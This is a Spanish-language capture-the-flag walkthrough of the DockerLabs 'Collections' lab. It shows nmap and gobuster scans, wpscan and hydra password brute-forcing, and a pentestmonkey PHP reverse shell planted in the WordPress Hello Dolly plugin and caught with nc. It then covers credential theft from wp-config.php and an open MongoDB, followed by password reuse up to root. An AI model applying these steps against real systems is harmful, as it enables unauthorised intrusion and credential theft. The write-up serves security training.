Post

DockerLabs - Collections

DockerLabs - Collections

nmap

1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Collections]
└─$ nmap -p- -sS --min-rate 5000 -v -n -Pn 172.17.0.2 -oG allPorts
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
27017/tcp open  mongod
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Collections]
└─$ nmap -sCV -p22,80,27017 172.17.0.2                          
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 25:3f:a6:b3:1b:a8:dc:e6:ef:0a:51:a7:d6:f4:15:c9 (ECDSA)
|_  256 d1:38:83:b2:33:0d:ad:b6:44:4f:b5:6e:fb:17:08:9f (ED25519)
80/tcp    open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.52 (Ubuntu)
27017/tcp open  mongodb MongoDB 7.0.9 6.1 or later
| mongodb-databases: 
|   codeName = UnsupportedOpQueryCommand
|   errmsg = Unsupported OP_QUERY command: listDatabases. The client driver may require an upgrade. For more details see https://dochub.mongodb.org/core/legacy-opcode-removal
|   code = 352
|_  ok = 0.0
| mongodb-info: 
|   MongoDB Build info
|     bits = 64
|     gitVersion = 3ff3a3925c36ed277cf5eafca5495f2e3728dd67
|     versionArray
|       0 = 7
|       1 = 0
|       2 = 9
|       3 = 0
|     maxBsonObjectSize = 16777216
|     allocator = tcmalloc
|     ok = 1.0
|     version = 7.0.9
|     buildEnvironment
|       target_arch = x86_64
|       ccflags = -Werror -include mongo/platform/basic.h -ffp-contract=off -fasynchronous-unwind-tables -g2 -Wall -Wsign-compare -Wno-unknown-pragmas -Winvalid-pch -gdwarf-5 -fno-omit-frame-pointer -fno-strict-aliasing -O2 -march=sandybridge -mtune=generic -mprefer-vector-width=128 -Wno-unused-local-typedefs -Wno-unused-function -Wno-deprecated-declarations -Wno-unused-const-variable -Wno-unused-but-set-variable -Wno-missing-braces -fstack-protector-strong -gdwarf64 -Wa,--nocompress-debug-sections -fno-builtin-memcmp -Wimplicit-fallthrough=5
|       cxx = /opt/mongodbtoolchain/v4/bin/g++: g++ (GCC) 11.3.0
|       target_os = linux
|       cppdefines = SAFEINT_USE_INTRINSICS 0 PCRE2_STATIC NDEBUG _XOPEN_SOURCE 700 _GNU_SOURCE _FORTIFY_SOURCE 2 ABSL_FORCE_ALIGNED_ACCESS BOOST_ENABLE_ASSERT_DEBUG_HANDLER BOOST_FILESYSTEM_NO_CXX20_ATOMIC_REF BOOST_LOG_NO_SHORTHAND_NAMES BOOST_LOG_USE_NATIVE_SYSLOG BOOST_LOG_WITHOUT_THREAD_ATTR BOOST_MATH_NO_LONG_DOUBLE_MATH_FUNCTIONS BOOST_SYSTEM_NO_DEPRECATED BOOST_THREAD_USES_DATETIME BOOST_THREAD_VERSION 5
|       distarch = x86_64
|       cxxflags = -Woverloaded-virtual -Wpessimizing-move -Wno-maybe-uninitialized -fsized-deallocation -Wno-deprecated -std=c++20
|       cc = /opt/mongodbtoolchain/v4/bin/gcc: gcc (GCC) 11.3.0
|       distmod = ubuntu2204
|       linkflags = -Wl,--fatal-warnings -B/opt/mongodbtoolchain/v4/bin -gdwarf-5 -pthread -Wl,-z,now -fuse-ld=lld -fstack-protector-strong -gdwarf64 -Wl,--build-id -Wl,--hash-style=gnu -Wl,-z,noexecstack -Wl,--warn-execstack -Wl,-z,relro -Wl,--compress-debug-sections=none -Wl,-z,origin -Wl,--enable-new-dtags
|     openssl
|       compiled = OpenSSL 3.0.2 15 Mar 2022
|       running = OpenSSL 3.0.2 15 Mar 2022
|     debug = false
|     storageEngines
|       0 = devnull
|       1 = wiredTiger
|     modules
|     sysInfo = deprecated
|     javascriptEngine = mozjs
|   Server status
|     codeName = UnsupportedOpQueryCommand
|     errmsg = Unsupported OP_QUERY command: serverStatus. The client driver may require an upgrade. For more details see https://dochub.mongodb.org/core/legacy-opcode-removal
|     code = 352
|_    ok = 0.0

análisis

Comenzamos revisando los recursos existentes del servidor web con gobuster:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(venv)(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Collections]
└─$ gobuster dir -u "http://172.17.0.2" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x .php,.html,.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 200) [Size: 275]
/index.html           (Status: 200) [Size: 10671]
/wordpress            (Status: 301) [Size: 312]
Progress: 882228 / 882228 (100.00%)
===============================================================
Finished
===============================================================

Vemos que existe un WordPress desplegado, por lo que accedemos, pero vemos que se está empleando virtual hosting:

Desktop View

Para que se resuelvan las URLs correctamente, procedemos a modificar nuestro fichero /etc/hosts, indicando una línea con la IP y el virtual host:

1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Collections]
└─$ cat /etc/hosts                                                    
...
172.17.0.2      collections.dl
...

Una vez hecho el cambio, recargamos la página principal del WordPress, y vemos que ahora todo carga correctamente:

Desktop View

Tras echarle un vistazo a la página, vemos que un posible usuario sería chocolate:

Desktop View

acceso inicial (chocolate)

RCE + movimiento lateral (www-data -> chocolate)

Obtenemos la contraseña de acceso al panel de administración de WordPress por fuerza bruta empleando wpscan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Collections]
└─$ wpscan --url http://collections.dl/wordpress -U chocolate -P /usr/share/seclists/Passwords/rockyou.txt -t 32
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | `_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.

[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - chocolate / c********                                                                                                                                                                                 
Trying chocolate / michelle Time: 00:00:00 <                                                                                                                               > (32 / 14344424)  0.00%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: chocolate, Password: c********

Accedemos con las credenciales obtenidas:

Desktop View

Vemos que efectivamente las credenciales son correctas:

Desktop View

Revisamos los plugins instalados, y encontramos que está instalado Hello Dolly (plugin conocido por ser vulnerable a ejecución remota de comandos):

Desktop View

Para obtener una consola, procedemos a modificar el script hello.php con un payload que se encargue de entablar la conexión, como por ejemplo el de pentestmonkey php reverse shell, el cual debemos únicamente modificar la IP y el puerto en el que estamos en escucha (no debemos borrar la funcionalidad por defecto del script, sino indicar el payload que nos devolverá la reverse shell antes del código que ya está definido en el script hello.php):

Desktop View

La estructura del fichero hello.php debería quedar de la siguiente manera:

1
2
3
4
5
6
7
<?php

<payload de PentestMonkey reverse shell>

<codigo por defecto del fichero hello.php>

?>

Una vez guardados los cambios, procedemos a activar el plugin (no activar primero el plugin y luego editar el script, ya que de lo contrario el plugin ya no estará disponible para ser modificado, y habría que reiniciar el laboratorio para obtener la consola de esta manera):

Desktop View

Una vez que hayamos activado el plugin, si ya nos habíamos puesto en escucha a la hora de activar el plugin, deberíamos haber recibido la consola correctamente:

1
2
3
4
5
6
7
8
9
10
11
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Collections]
└─$ nc -nlvp 4444                                 
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 47846
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can`t access tty; job control turned off
$ whoami
www-data
$ hostname -I
172.17.0.2

Trataremos la consola para poder operar con más facilidad:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ script -c bash /dev/null
Script started, output log file is '/dev/null'.
www-data@1aaf7edd5a74:/$ ^Z
zsh: suspended  nc -nlvp 4444

┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Collections]
└─$ stty raw -echo;fg
[1]  + continued  nc -nlvp 4444
                               reset xterm
www-data@1aaf7edd5a74:/$ export TERM=xterm
www-data@1aaf7edd5a74:/$ export SHELL=bsh
www-data@1aaf7edd5a74:/$ export SHELL=bash
www-data@1aaf7edd5a74:/$ stty rows 49 columns 210

Revisando los ficheros del sistema, vemos que es posible revisar el contenido del script que contiene la configuración de WordPress, y en la cual hay un comentario con las credenciales del usuario chocolate:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
www-data@1aaf7edd5a74:/var/www/html/wordpress$ cat wp-config.php 
<?php

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', 'wordpressuser' );

/** Database password */
define( 'DB_PASSWORD', 't*******************' );

/** Acceso alternativo chocolate:e******* */

/** Database hostname */
define( 'DB_HOST', 'localhost' );

Probamos a loguearnos como el usuario chocolate, y vemos que las credenciales son correctas:

1
2
3
4
www-data@1aaf7edd5a74:/var/www/html/wordpress$ su chocolate
Password: 
chocolate@1aaf7edd5a74:/var/www/html/wordpress$ whoami
chocolate

SSH (chocolate)

Tratamos de obtener la contraseña de dicho usuario por fuerza bruta empleando hydra, y pasado un rato la termina sacando:

1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Collections]
└─$ hydra -l chocolate -P /usr/share/seclists/Passwords/rockyou.txt ssh://172.17.0.2 -t 64 -I
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: chocolate   password: e*******
1 of 1 target successfully completed, 1 valid password found

Nos conectamos por SSH con las credenciales obtenidas:

1
2
3
4
5
6
7
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Collections]
└─$ ssh chocolate@172.17.0.2                                             
chocolate@172.17.0.2`s password: 
chocolate@f734bfdaf9be:~$ whoami
chocolate
chocolate@f734bfdaf9be:~$ hostname -I
172.17.0.2

Listamos los usuarios del sistema a los cuales podemos apuntar para movernos lateralmente o escalar privilegios:

1
2
3
4
5
chocolate@f734bfdaf9be:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
mongodb:x:999:999::/data/db:/bin/sh
dbadmin:x:1000:1000:dbadmin,,,:/home/dbadmin:/bin/bash
chocolate:x:1001:1001:chocolate,,,:/home/chocolate:/bin/bash

obtención de la contraseña (dbadmin)

método más tedioso

Tratamos de conectarnos al gestor de la base de datos MongoDB por el puerto 27017 de la máquina:

1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Collections]
└─$ mongo 172.17.0.2:27017      
MongoDB shell version v7.0.14
connecting to: mongodb://172.17.0.2:27017/test?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("********-****-****-****-************") }
MongoDB server version: 7.0.9

Vemos que podemos acceder correctamente sin tener que aportar credenciales:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
> help
        db.help()                    help on db methods
        db.mycoll.help()             help on collection methods
        sh.help()                    sharding helpers
        rs.help()                    replica set helpers
        help admin                   administrative help
        help connect                 connecting to a db help
        help keys                    key shortcuts
        help misc                    misc things to know
        help mr                      mapreduce

        show dbs                     show database names
        show collections             show collections in current database
        show users                   show users in current database
        show profile                 show most recent system.profile entries with time >= 1ms
        show logs                    show the accessible logger names
        show log [name]              prints out the last segment of log in memory, 'global' is default
        use <db_name>                set current database
        db.mycoll.find()             list objects in collection mycoll
        db.mycoll.find( { a : 1 } )  list objects in mycoll where a == 1
        it                           result of the last line evaluated; use to further iterate
        DBQuery.shellBatchSize = x   set default number of items to display on shell
        exit                         quit the mongo shell
> show dbs
accesos  0.000GB
admin    0.000GB
config   0.000GB
local    0.000GB
> show collections
> show users
> show profile
db.system.profile is empty
Use db.setProfilingLevel(2) will enable profiling
Use db.system.profile.find() to show raw profile entries
> show logs
global
startupWarnings

Empleamos la herramienta mongodump, la cual se encarga de obtener toda la información disponible del gestor de la base de datos:

1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Collections]
└─$ mongodump --host 172.17.0.2 --port 27017 --out dump
2025-XX-XXTXX:XX:XX.XXX+0000    writing admin.system.version to dump/admin/system.version.bson
2025-XX-XXTXX:XX:XX.XXX+0000    done dumping admin.system.version (1 document)
2025-XX-XXTXX:XX:XX.XXX+0000    writing accesos.usuarios to dump/accesos/usuarios.bson
2025-XX-XXTXX:XX:XX.XXX+0000    done dumping accesos.usuarios (1 document)

Dentro de uno de los ficheros que obtiene, encontramos lo que podemos deducir que se tratan de unas credenciales:

1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Collections]
└─$ cat dump/accesos/usuarios.bson
T_idfE�Ef�ͮ��nombrdbadmincontraseñac***********************

método más simple

Revisando los ficheros del directorio personal del usuario chocolate, encontramos unas credenciales en el historial de MongoDB:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
chocolate@f734bfdaf9be:~$ ls -la .mongodb/mongosh/
total 28
drwx------ 3 chocolate chocolate 4096 May 16  2024 .
drwx------ 3 chocolate chocolate 4096 May 16  2024 ..
-rw------- 1 chocolate chocolate 6354 May 16  2024 6645f1a68a091fae762202d7_log
-rw------- 1 chocolate chocolate  140 May 16  2024 config
-rw------- 1 chocolate chocolate  130 May 16  2024 mongosh_repl_history
drwxrwxr-x 2 chocolate chocolate 4096 May 16  2024 snippets
chocolate@f734bfdaf9be:~$ cat .mongodb/mongosh/mongosh_repl_history 
show dbs
db.fsyncLock()
db.usuarios.insert({"usuario": "dbadmin", "contraseña": "c***********************"})
use accesos
show dbs

movimiento lateral (dbadmin)

Tratamos de movernos lateralmente al usuario dbadmin, y vemos que las credenciales que hemos encontrando son correctas:

1
2
3
4
chocolate@f734bfdaf9be:~$ su dbadmin
Password: 
dbadmin@f734bfdaf9be:/home/chocolate$ whoami
dbadmin

escalada de privilegios (root)

Probamos a ver si la misma contraseña también es usada por el usuario root, y vemos que es el caso:

1
2
3
4
www-data@1aaf7edd5a74:/$ su root
Password: 
root@1aaf7edd5a74:/# whoami
root

Y hasta aquí la resolución de la máquina Collections!

buymecoffee_icon

This post is licensed under CC BY 4.0 by the author.